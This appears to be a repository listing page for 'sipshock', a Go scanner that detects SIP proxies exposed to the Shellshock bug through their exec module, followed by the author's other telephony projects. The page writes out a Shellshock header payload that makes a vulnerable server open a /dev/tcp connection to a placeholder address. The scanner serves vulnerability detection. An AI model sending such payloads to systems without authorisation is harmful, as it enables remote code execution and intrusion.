• Stars
    star
    110
  • Rank 316,770 (Top 7 %)
  • Language
    Go
  • License
    GNU General Publi...
  • Created about 10 years ago
  • Updated over 8 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A scanner for SIP proxies vulnerable to Shellshock

A scanner for SIP proxies vulnerable to Shellshock


Usage:

sipshock [ Flags ] [ IP Addresses ]

Usage flags:

  • lhost : Local listening address
  • lport : Local listening port (default 10111)
  • rport : Remote port (default 5060)

The exec module in Kamailio, Opensips and propably every other SER fork passes the received SIP headers as environment variables to the invoking shell. This makes these SIP proxies vulnerable to CVE-2014-6271 (Bash Shellshock). If a proxy is using any of the exec funtions and has the 'setvars' parameter set to the default value '1' then by sending SIP messages containing a specially crafted header we can run arbitrary code on the proxy machine.

Sipshock tries to detect such vulnerable proxies by sending SIP INVITE Messages containing the following header: "X-Ploit: () { :;};exec >/dev/tcp/xx.xx.xx.xx/yy" where xx.xx.xx.xx/yy is the local IP and port that sipshock listens to. A vulnerable server will invoke a shell that will execute the code above and open a tcp connection to xx.xx.xx.xx:yy. Sipshock detects the connection and lists the server as vulnerable.

This program is free software, distributed under the terms of the GNU General Public License Version 3. See the LICENSE file at the top of the source tree.

More Repositories

1

asterisk-speech-recog

Speech recognition script for Asterisk that uses google's speech engine.
Perl
241
star
2

asterisk-googletts

Asterisk AGI script that uses Google's translate text to speech service.
Perl
199
star
3

g711

Go package to encode and decode ITU-T G.711 sound data
Go
63
star
4

agi

Go package agi implements the Asterisk Gateway Interface.
Go
56
star
5

resample

Go package for resampling sound data
Go
56
star
6

Asterisk-eSpeak

Asterisk module that provides the "eSpeak" dialplan application. It allows you to use the eSpeak text to speech synthesizer. Works with asterisk 1.6 or newer.
C
39
star
7

agitator

A reverse proxy for the FastAGI protocol
Go
26
star
8

Asterisk-Flite

Asterisk module that provides the "Flite" dialplan application, which allows you to use the Flite text to speech engine with Asterisk..Works with asterisk 1.6 or newer.
C
26
star
9

asterisk-mstts

Asterisk AGI script that makes use of Microsoft Azure Cognitive Services for text to speech synthesis
Perl
17
star
10

asterisk-googletranslate

AGI script that uses Google Translate API v2 for text translation and language detection.
Perl
14
star
11

asterisk-ispeech

AGI scripts for TTS and ASR using iSpeech service
Perl
9
star
12

agistress

A FastAGI benchmarking and debugging tool
Go
5
star
13

sox

Edit sound files using libsox
C
3
star
14

scripts

Random scripts and code samples
Go
3
star
15

go2c

Examples of interfacing with Go using the C API
C
3
star
16

asterisk-mstranslate

AGI script that uses MS Translator API for text translation.
Perl
3
star
17

npcp

Parallel file copy in Nim
Nim
2
star
18

pcp

Parallel file copy
Go
1
star